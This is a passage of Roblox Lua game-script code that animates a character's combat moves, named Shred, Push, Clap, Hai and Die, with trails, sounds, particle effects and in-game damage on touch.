LW.C0=clerp(LW.C0,cf(-1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3) end so("http://www.roblox.com/asset/?id=231917758",LeftArm,1,1) so("http://www.roblox.com/asset/?id=231917758",RightArm,1,0.8) for i=0,1,0.05 do swait() Torso.Velocity=RootPart.CFrame.lookVector*80 RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,10)*angles(math.rad(90),math.rad(0),math.rad(0+360*i)),.3) handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2) RW.C0=clerp(RW.C0,cf(1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3) LW.C0=clerp(LW.C0,cf(-1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3) end so("http://www.roblox.com/asset/?id=231917758",LeftArm,1,1) so("http://www.roblox.com/asset/?id=231917758",RightArm,1,0.8) for i=0,1,0.05 do swait() Torso.Velocity=RootPart.CFrame.lookVector*80 RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,10)*angles(math.rad(90),math.rad(0),math.rad(0+360*i)),.3) handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2) RW.C0=clerp(RW.C0,cf(1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3) LW.C0=clerp(LW.C0,cf(-1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3) end --dmgstop() Humanoid.WalkSpeed=12 attack=false con1:disconnect() con2:disconnect() if anim then anim.Disabled=false end if TrailDeb == true then TrailDeb = false end end function Shred() attack=true mana=mana-100 if TrailDeb == false then TrailDeb = true end coroutine.wrap(function() local Old = Handle2.CFrame.p while wait()do if not TrailDeb then break end local New = Handle2.CFrame.p local Mag =(Old -New).magnitude local Dis =(Old +New)/2 local Trail = Instance.new("Part",Character) Trail.Material = "Neon" Trail.Anchored = true Trail.CanCollide = false Trail.BrickColor = TorsoColor Trail.Size = Vector3.new(0.2,Mag,0.2) Trail.TopSurface = 0 Trail.BottomSurface = 0 Trail.formFactor = "Custom" Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0) local ms = Instance.new("BlockMesh",Trail) ms.Scale = Vector3.new(1,1,1) local TM = Instance.new("CylinderMesh",Trail) TM.Scale = Vector3.new(1,1,1) Old = New coroutine.wrap(function() for i = 1,0,-0.1 do wait() TM.Scale = TM.Scale * Vector3.new(i,1,i) end Trail:remove() end)() coroutine.wrap(function() for i = 1,10 do wait() Trail.Transparency = Trail.Transparency +0.1 end end)()end end)() coroutine.wrap(function() local Old = Handle.CFrame.p while wait()do if not TrailDeb then break end local New = Handle.CFrame.p local Mag =(Old -New).magnitude local Dis =(Old +New)/2 local Trail = Instance.new("Part",Character) Trail.Material = "Neon" Trail.Anchored = true Trail.CanCollide = false Trail.BrickColor = TorsoColor Trail.Size = Vector3.new(0.2,Mag,0.2) Trail.TopSurface = 0 Trail.BottomSurface = 0 Trail.formFactor = "Custom" Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0) local ms = Instance.new("BlockMesh",Trail) ms.Scale = Vector3.new(1,1,1) local TM = Instance.new("CylinderMesh",Trail) TM.Scale = Vector3.new(1,1,1) Old = New coroutine.wrap(function() for i = 1,0,-0.1 do wait() TM.Scale = TM.Scale * Vector3.new(i,1,i) end Trail:remove() end)() coroutine.wrap(function() for i = 1,10 do wait() Trail.Transparency = Trail.Transparency +0.1 end end)()end end)() Footsteps:Stop() Footsteps2:Stop() con1=Gear2.Touched:connect(function(hit) Damagefunc(hit,30,40,math.random(20,40),"Normal",RootPart,.2,1) end) con2=Gear.Touched:connect(function(hit) Damagefunc(hit,30,40,math.random(20,40),"Normal",RootPart,.2,1) end) so("http://www.roblox.com/asset/?id=159882578",Torso,1,1) for i=0,1,0.1 do swait() RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,3)*angles(math.rad(0),math.rad(0),math.rad(0)),.3) handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2) RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3) LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3) end if anim then anim.Disabled=true end for i=0,1,0.05 do swait() Torso.Velocity=RootPart.CFrame.lookVector*20 so("http://www.roblox.com/asset/?id=231917758",LeftArm,0.2,1.2) so("http://www.roblox.com/asset/?id=231917758",RightArm,0.2,1) RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,3)*angles(math.rad(0),math.rad(0),math.rad(0+40*i)),.5) handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2) RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3) LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3) end for i=0,1,0.05 do swait() Torso.Velocity=RootPart.CFrame.lookVector*40 so("http://www.roblox.com/asset/?id=231917758",LeftArm,0.2,1.2) so("http://www.roblox.com/asset/?id=231917758",RightArm,0.2,1) RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,3)*angles(math.rad(0),math.rad(0),math.rad(41+80*i)),.5) handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2) RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3) LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3) end for i=0,1,0.05 do swait() Torso.Velocity=RootPart.CFrame.lookVector*60 so("http://www.roblox.com/asset/?id=231917758",LeftArm,0.2,1.2) so("http://www.roblox.com/asset/?id=231917758",RightArm,0.2,1) RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,3)*angles(math.rad(0),math.rad(0),math.rad(82+120*i)),.5) handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2) RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3) LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3) end so("http://www.roblox.com/asset/?id=159882625",Torso,1,1) so("http://www.roblox.com/asset/?id=231917758",Torso,1,0.1) so("http://www.roblox.com/asset/?id=231917758",Torso,1,0.1) so("http://www.roblox.com/asset/?id=231917758",Torso,1,0.1) so("http://www.roblox.com/asset/?id=231917758",Torso,1,0.1) for i=0,1,0.05 do swait() Torso.Velocity=RootPart.CFrame.lookVector*80 RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,3)*angles(math.rad(0),math.rad(0),math.rad(124+160*i)),.5) handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2) RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3) LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3) end for i=0,1,0.005 do swait() Torso.Velocity=RootPart.CFrame.lookVector*100 RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,3)*angles(math.rad(0),math.rad(0),math.rad(168+4200*i)),.5) handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2) RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3) LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3) end --dmgstop() Humanoid.WalkSpeed=12 attack=false con1:disconnect() con2:disconnect() if anim then anim.Disabled=false end if TrailDeb == true then TrailDeb = false end end function Push() attack=true mana=mana-20 if TrailDeb == false then TrailDeb = true end coroutine.wrap(function() local Old = Handle2.CFrame.p while wait()do if not TrailDeb then break end local New = Handle2.CFrame.p local Mag =(Old -New).magnitude local Dis =(Old +New)/2 local Trail = Instance.new("Part",Character) Trail.Material = "Neon" Trail.Anchored = true Trail.CanCollide = false Trail.BrickColor = TorsoColor Trail.Size = Vector3.new(0.2,Mag,0.2) Trail.TopSurface = 0 Trail.BottomSurface = 0 Trail.formFactor = "Custom" Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0) local ms = Instance.new("BlockMesh",Trail) ms.Scale = Vector3.new(1,1,1) local TM = Instance.new("CylinderMesh",Trail) TM.Scale = Vector3.new(1,1,1) Old = New coroutine.wrap(function() for i = 1,0,-0.1 do wait() TM.Scale = TM.Scale * Vector3.new(i,1,i) end Trail:remove() end)() coroutine.wrap(function() for i = 1,10 do wait() Trail.Transparency = Trail.Transparency +0.1 end end)()end end)() coroutine.wrap(function() local Old = Handle.CFrame.p while wait()do if not TrailDeb then break end local New = Handle.CFrame.p local Mag =(Old -New).magnitude local Dis =(Old +New)/2 local Trail = Instance.new("Part",Character) Trail.Material = "Neon" Trail.Anchored = true Trail.CanCollide = false Trail.BrickColor = TorsoColor Trail.Size = Vector3.new(0.2,Mag,0.2) Trail.TopSurface = 0 Trail.BottomSurface = 0 Trail.formFactor = "Custom" Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0) local ms = Instance.new("BlockMesh",Trail) ms.Scale = Vector3.new(1,1,1) local TM = Instance.new("CylinderMesh",Trail) TM.Scale = Vector3.new(1,1,1) Old = New coroutine.wrap(function() for i = 1,0,-0.1 do wait() TM.Scale = TM.Scale * Vector3.new(i,1,i) end Trail:remove() end)() coroutine.wrap(function() for i = 1,10 do wait() Trail.Transparency = Trail.Transparency +0.1 end end)()end end)() con1=Gear2.Touched:connect(function(hit) Damagefunc(hit,10,20,math.random(20,40),"Normal",RootPart,.2,1) end) con2=Gear.Touched:connect(function(hit) Damagefunc(hit,10,20,math.random(20,40),"Normal",RootPart,.2,1) end) for i=0,1,0.1 do swait() RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3) Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2) handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) Handleweld.C0=clerp(Handleweld.C0,cf(-5,0,-10)*angles(math.rad(20),math.rad(-20),math.rad(0)),.2) Handle2weld.C0=clerp(Handle2weld.C0,cf(5,0,-10)*angles(math.rad(20),math.rad(20),math.rad(0)),.2) RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-20)),.3) LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(20)),.3) end so("http://www.roblox.com/asset/?id=231917758",Handle2,1,.8) so("http://www.roblox.com/asset/?id=231917758",Handle,1,1) so("http://www.roblox.com/asset/?id=159882481",Torso,1,1) for i=0,1,0.1 do swait() RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3) Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2) handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) Handleweld.C0=clerp(Handleweld.C0,cf(-4,0,-20)*angles(math.rad(20),math.rad(-20),math.rad(0)),.2) Handle2weld.C0=clerp(Handle2weld.C0,cf(4,0,-20)*angles(math.rad(20),math.rad(20),math.rad(0)),.2) RW.C0=clerp(RW.C0,cf(1,0.5,-1)*angles(math.rad(90),math.rad(0),math.rad(-20)),.3) LW.C0=clerp(LW.C0,cf(-1,0.5,-1)*angles(math.rad(90),math.rad(0),math.rad(20)),.3) end --dmgstop() attack=false con1:disconnect() con2:disconnect() if TrailDeb == true then TrailDeb = false end end function Clap() attack=true mana=mana-20 if TrailDeb == false then TrailDeb = true end coroutine.wrap(function() local Old = Handle2.CFrame.p while wait()do if not TrailDeb then break end local New = Handle2.CFrame.p local Mag =(Old -New).magnitude local Dis =(Old +New)/2 local Trail = Instance.new("Part",Character) Trail.Material = "Neon" Trail.Anchored = true Trail.CanCollide = false Trail.BrickColor = TorsoColor Trail.Size = Vector3.new(0.2,Mag,0.2) Trail.TopSurface = 0 Trail.BottomSurface = 0 Trail.formFactor = "Custom" Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0) local ms = Instance.new("BlockMesh",Trail) ms.Scale = Vector3.new(1,1,1) local TM = Instance.new("CylinderMesh",Trail) TM.Scale = Vector3.new(1,1,1) Old = New coroutine.wrap(function() for i = 1,0,-0.1 do wait() TM.Scale = TM.Scale * Vector3.new(i,1,i) end Trail:remove() end)() coroutine.wrap(function() for i = 1,10 do wait() Trail.Transparency = Trail.Transparency +0.1 end end)()end end)() coroutine.wrap(function() local Old = Handle.CFrame.p while wait()do if not TrailDeb then break end local New = Handle.CFrame.p local Mag =(Old -New).magnitude local Dis =(Old +New)/2 local Trail = Instance.new("Part",Character) Trail.Material = "Neon" Trail.Anchored = true Trail.CanCollide = false Trail.BrickColor = TorsoColor Trail.Size = Vector3.new(0.2,Mag,0.2) Trail.TopSurface = 0 Trail.BottomSurface = 0 Trail.formFactor = "Custom" Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0) local ms = Instance.new("BlockMesh",Trail) ms.Scale = Vector3.new(1,1,1) local TM = Instance.new("CylinderMesh",Trail) TM.Scale = Vector3.new(1,1,1) Old = New coroutine.wrap(function() for i = 1,0,-0.1 do wait() TM.Scale = TM.Scale * Vector3.new(i,1,i) end Trail:remove() end)() coroutine.wrap(function() for i = 1,10 do wait() Trail.Transparency = Trail.Transparency +0.1 end end)()end end)() con1=Gear2.Touched:connect(function(hit) Damagefunc(hit,20,30,math.random(20,40),"Normal",RootPart,.2,1) end) con2=Gear.Touched:connect(function(hit) Damagefunc(hit,20,30,math.random(20,40),"Normal",RootPart,.2,1) end) so("http://www.roblox.com/asset/?id=159882584",Torso,1,0.9) for i=0,1,0.08 do swait() RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3) Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2) handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,1,-5)*angles(math.rad(0),math.rad(-40),math.rad(20)),.2) Handleweld.C0=clerp(Handleweld.C0,cf(5,1,-5)*angles(math.rad(0),math.rad(40),math.rad(-20)),.2) LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*euler(-30,0,-20),.3) RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*euler(-30,0,20),.3) end so("http://www.roblox.com/asset/?id=231917758",Handle2,1,.8) so("http://www.roblox.com/asset/?id=231917758",Handle,1,1) for i=0,1,0.08 do swait() RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3) Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2) handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) Handle2weld.C0=clerp(Handle2weld.C0,cf(4,1,-5)*angles(math.rad(0),math.rad(-43),math.rad(20)),.2) Handleweld.C0=clerp(Handleweld.C0,cf(-4,1,-5)*angles(math.rad(0),math.rad(43),math.rad(-20)),.2) LW.C0=clerp(LW.C0,cf(-1,0.5,-1)*euler(-30,0,20),.3) RW.C0=clerp(RW.C0,cf(1,0.5,-1)*euler(-30,0,-20),.3) end --dmgstop() attack=false con1:disconnect() con2:disconnect() if TrailDeb == true then TrailDeb = false end end function Hai() attack=true Humanoid.WalkSpeed=0 so("http://www.roblox.com/asset/?id=159882567",Torso,1,1) for i=0,1,0.1 do swait() RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3) Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2) handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) Handleweld.C0=clerp(Handleweld.C0,cf(0,5,3)*angles(math.rad(20),math.rad(-20),math.rad(20)),.2) Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(5),math.rad(0),math.rad(0)),.2) RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3) LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3) RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(170),math.rad(0),math.rad(0)),.3) LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(10),math.rad(0),math.rad(-16)),.3) end so("http://www.roblox.com/asset/?id=231917758",Handle,1,.8) for i=0,1,0.1 do swait() RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3) Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2) handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) Handleweld.C0=clerp(Handleweld.C0,cf(3,8,0)*angles(math.rad(0),math.rad(-20),math.rad(-30)),.2) Handle2weld.C0=clerp(Handle2weld.C0,cf(0.5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3) LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3) RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(170),math.rad(0),math.rad(50)),.5) LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(10),math.rad(0),math.rad(-16)),.3) end so("http://www.roblox.com/asset/?id=231917758",Handle,1,1) for i=0,1,0.1 do swait() RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3) Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2) handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) Handleweld.C0=clerp(Handleweld.C0,cf(0,5,3)*angles(math.rad(20),math.rad(-20),math.rad(20)),.2) Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(5),math.rad(0),math.rad(0)),.2) RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3) LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3) RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(170),math.rad(0),math.rad(0)),.3) LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(10),math.rad(0),math.rad(-16)),.3) end so("http://www.roblox.com/asset/?id=231917758",Handle,1,.8) for i=0,1,0.1 do swait() RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3) Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2) handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) Handleweld.C0=clerp(Handleweld.C0,cf(3,8,0)*angles(math.rad(0),math.rad(-20),math.rad(-30)),.2) Handle2weld.C0=clerp(Handle2weld.C0,cf(0.5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3) LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3) RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(170),math.rad(0),math.rad(50)),.3) LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(10),math.rad(0),math.rad(-16)),.3) end so("http://www.roblox.com/asset/?id=231917758",Handle,1,1) for i=0,1,0.1 do swait() RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3) Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2) handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) Handleweld.C0=clerp(Handleweld.C0,cf(0,5,3)*angles(math.rad(20),math.rad(-20),math.rad(20)),.2) Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(5),math.rad(0),math.rad(0)),.2) RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3) LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3) RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(170),math.rad(0),math.rad(0)),.3) LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(10),math.rad(0),math.rad(-16)),.3) end --dmgstop() Humanoid.WalkSpeed=12 attack=false end function Die() attack=true Footsteps:Stop() Footsteps2:Stop() local Fire = it("Sound",Character.Torso) Fire.SoundId = "rbxassetid://192104941" Fire.Looped = true Fire.Pitch = 1 Fire.Volume = 1 local Fire2 = it("Sound",Handle2) Fire2.SoundId = "rbxassetid://192104941" Fire2.Looped = true Fire2.Pitch = 1 Fire2.Volume = 1 local Fire3 = it("Sound",Handle) Fire3.SoundId = "rbxassetid://192104941" Fire3.Looped = true Fire3.Pitch = 1 Fire3.Volume = 1 local Fire4 = it("Sound",handle) Fire4.SoundId = "rbxassetid://192104941" Fire4.Looped = true Fire4.Pitch = 1 Fire4.Volume = 1 local fire = Instance.new("ParticleEmitter", Character.Torso) fire.Lifetime = NumberRange.new(0.5) fire.Speed = NumberRange.new(1, 3) fire.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 3.564, 2.521), NumberSequenceKeypoint.new(1, 3.534, 2.521)}) fire.Rate = 0 fire.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.627, 0.587), NumberSequenceKeypoint.new(1, 1)}) fire.LightEmission = 0.6 fire.Texture = "http://www.roblox.com/asset/?id=242911609" fire.Color = ColorSequence.new(Color3.new(1, 0, 0), Color3.new(1, 0.666667, 0)) local fire2 = Instance.new("ParticleEmitter", Handle) fire2.Lifetime = NumberRange.new(0.5) fire2.Speed = NumberRange.new(1, 3) fire2.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 6.564, 5.521), NumberSequenceKeypoint.new(1, 6.534, 5.521)}) fire2.Rate = 0 fire2.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.627, 0.587), NumberSequenceKeypoint.new(1, 1)}) fire2.LightEmission = 0.6 fire2.Texture = "http://www.roblox.com/asset/?id=242911609" fire2.Color = ColorSequence.new(Color3.new(1, 0, 0), Color3.new(1, 0.666667, 0)) local fire3 = Instance.new("ParticleEmitter", Handle2) fire3.Lifetime = NumberRange.new(0.5) fire3.Speed = NumberRange.new(1, 3) fire3.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 6.564, 5.521), NumberSequenceKeypoint.new(1, 6.534, 5.521)}) fire3.Rate = 0 fire3.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.627, 0.587), NumberSequenceKeypoint.new(1, 1)}) fire3.LightEmission = 0.6 fire3.Texture = "http://www.roblox.com/asset/?id=242911609" fire3.Color = ColorSequence.new(Color3.new(1, 0, 0), Color3.new(1, 0.666667, 0)) local fire4 = Instance.new("ParticleEmitter", handle) fire4.Lifetime = NumberRange.new(0.5) fire4.Speed = NumberRange.new(1, 3) fire4.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 3.564, 2.521), NumberSequenceKeypoint.new(1, 3.534, 2.521)}) fire4.Rate = 0 fire4.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.627, 0.587), NumberSequenceKeypoint.new(1, 1)}) fire4.LightEmission = 0.6 fire4.Texture = "http://www.roblox.com/asset/?id=242911609" fire4.Color = ColorSequence.new(Color3.new(1, 0, 0), Color3.new(1, 0.666667, 0)) Humanoid.WalkSpeed = 0 so("http://www.roblox.com/asset/?id=199149297",Head,1,1) so("http://www.roblox.com/asset/?id=209527203",Head,1,1) for i=0,1,0.08 do swait() Torso.Velocity=RootPart.CFrame.lookVector*-30 RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,1,0)*angles(math.rad(-45),math.rad(0),math.rad(90)),.2) Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(0),math.rad(0),math.rad(45)),.2) handleweld.C0=clerp(handleweld.C0,cf(0,5,0)*angles(math.rad(45),math.rad(0),math.rad(0)),.2) Handleweld.C0=clerp(Handleweld.C0,cf(0,5,0)*angles(math.rad(45),math.rad(0),math.rad(0)),.2) Handle2weld.C0=clerp(Handle2weld.C0,cf(0,5,0)*angles(math.rad(45),math.rad(0),math.rad(0)),.2) RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(45)),.2) LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(0),math.rad(0),math.rad(-45)),.2) RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-10),math.rad(0),math.rad(0)),.2) LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-10),math.rad(0),math.rad(0)),.2) end for i=0,1,0.005 do swait() light.Range=15-10*i RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,1,-2.5)*angles(math.rad(-90),math.rad(0),math.rad(180)),.2) Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(0),math.rad(0),math.rad(90)),.4) handleweld.C0=clerp(handleweld.C0,cf(0,10,-5)*angles(math.rad(60),math.rad(30),math.rad(30)),.2) Handleweld.C0=clerp(Handleweld.C0,cf(0,20,-5)*angles(math.rad(150),math.rad(0),math.rad(0)),.2) Handle2weld.C0=clerp(Handle2weld.C0,cf(0,20,-5)*angles(math.rad(90),math.rad(0),math.rad(0)),.2) 